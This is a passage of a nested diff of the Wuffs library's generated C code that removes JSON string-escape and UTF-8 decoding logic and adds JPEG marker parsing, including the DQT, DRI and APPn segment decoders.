v_uni8_value |= (((uint32_t)((v_c & 15u))) << 16u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 0u); +- if (v_uni8_ok == 0u) { +- } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { +- iop_a_src += 10u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (self->private_impl.f_quirks[20u]) { +- iop_a_src += 10u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if ((v_c == 120u) && self->private_impl.f_quirks[9u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__string_loop_outer__continue; +- } +- v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- v_backslash_x_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; +- v_backslash_x_ok &= v_c; +- v_backslash_x_value = ((uint8_t)(((v_c & 15u) << 4u))); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; +- v_backslash_x_ok &= v_c; +- v_backslash_x_value = ((uint8_t)((v_backslash_x_value | (v_c & 15u)))); +- if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- iop_a_src += 4u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } else if (v_char == 3u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- if ((v_multi_byte_utf8 & 49152u) == 32768u) { +- v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); +- iop_a_src += 2u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 2u; +- continue; +- } +- } else if (v_char == 4u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { +- v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); +- if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { +- iop_a_src += 3u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 3u; +- continue; +- } +- } +- } else if (v_char == 5u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { +- v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | +- (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | +- (4032u & (v_multi_byte_utf8 >> 10u)) | +- (63u & (v_multi_byte_utf8 >> 24u))); +- if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { +- iop_a_src += 4u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 4u; +- continue; +- } +- } +- } +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if ((v_char & 128u) != 0u) { +- if (self->private_impl.f_quirks[0u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)((v_char & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- if (v_char == 138u) { +- status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); +- goto exit; +- } +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); + } + } +- label__string_loop_outer__break:; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); +- continue; +- } +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); +- continue; +- } +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- break; ++ self->private_impl.f_payload_length = t_4; ++ } ++ if (self->private_impl.f_payload_length < 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 2u; ++ } ++ if (v_marker < 192u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else if (v_marker < 208u) { ++ if (v_marker <= 194u) { ++ if ((v_marker == 194u) && self->private_impl.f_reject_progressive_jpegs) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__rejected_progressive_jpeg); ++ goto exit; ++ } else if (self->private_impl.f_sof_marker != 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; + } +- if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { +- v_expect = 4104u; +- goto label__outer__continue; ++ self->private_impl.f_sof_marker = v_marker; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_jpeg__decoder__decode_sof(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } + break; +- } else if (v_class == 2u) { +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { +- if (self->private_impl.f_quirks[13u]) { +- v_expect = 4162u; +- } else { +- v_expect = 4098u; +- } +- } else { +- if (self->private_impl.f_quirks[13u]) { +- v_expect = 8114u; +- } else { +- v_expect = 7858u; +- } ++ } else if (v_marker == 195u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); ++ goto exit; ++ } else if (v_marker == 196u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } else if ((197u <= v_marker) && (v_marker <= 199u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); ++ goto exit; ++ } else if (v_marker == 200u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); ++ goto exit; ++ } ++ } else if (v_marker < 224u) { ++ if (v_marker < 218u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } else if (v_marker == 218u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (v_marker == 219u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- goto label__outer__continue; +- } else if (v_class == 3u) { +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 7858u; +- goto label__outer__continue; +- } else if (v_class == 4u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 221u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__decode_dri(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } else if (v_marker < 240u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ if (v_marker == 254u) { ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_image_config.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ self->private_impl.f_payload_length = 0u; ++ } ++ self->private_impl.choosy_decode_idct = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : ++#endif ++ self->private_impl.choosy_decode_idct); ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ v_pixfmt = 536870920u; ++ if (self->private_impl.f_num_components > 1u) { ++ v_pixfmt = 2415954056u; ++ } ++ wuffs_base__image_config__set( ++ a_dst, ++ v_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ true); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_marker = v_marker; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dqt ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dqt( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_q = 0; ++ uint32_t v_i = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dqt; ++ if (coro_susp_point) { ++ v_q = self->private_data.s_decode_dqt.v_q; ++ v_i = self->private_data.s_decode_dqt.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (self->private_impl.f_payload_length > 0u) { ++ self->private_impl.f_payload_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (((uint8_t)(v_c8 & 15u)) > 3u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); ++ goto exit; ++ } ++ v_q = ((uint8_t)(v_c8 & 15u)); ++ if (((uint8_t)(v_c8 >> 4u)) == 1u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); ++ goto exit; ++ } else if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (self->private_impl.f_payload_length < 64u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 64u; ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_i += 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint16_t t_1 = *iop_a_src++; ++ self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; ++ } ++ } ++ self->private_impl.f_seen_dqt[v_q] = true; ++ if (self->private_impl.f_sof_marker == 0u) { ++ v_i = 0u; ++ while (v_i < 64u) { ++ self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; ++ v_i += 1u; ++ } ++ self->private_impl.f_saved_seen_dqt[v_q] = true; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dqt = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dqt = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_dqt.v_q = v_q; ++ self->private_data.s_decode_dqt.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dri ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dri( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dri; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_payload_length != 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint16_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_dri.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_dri.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint16_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ self->private_impl.f_restart_interval = t_0; ++ } ++ if (self->private_impl.f_sof_marker == 0u) { ++ self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dri = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dri = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_appn ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_appn( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint8_t a_marker) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_appn; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ do { ++ if (a_marker == 224u) { ++ if (self->private_impl.f_payload_length >= 5u) { ++ self->private_impl.f_payload_length -= 5u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1179207242u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_is_jfif = (v_c8 == 0u); ++ } ++ } else if (a_marker == 238u) { ++ if (self->private_impl.f_payload_length >= 12u) { ++ self->private_impl.f_payload_length -= 12u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if 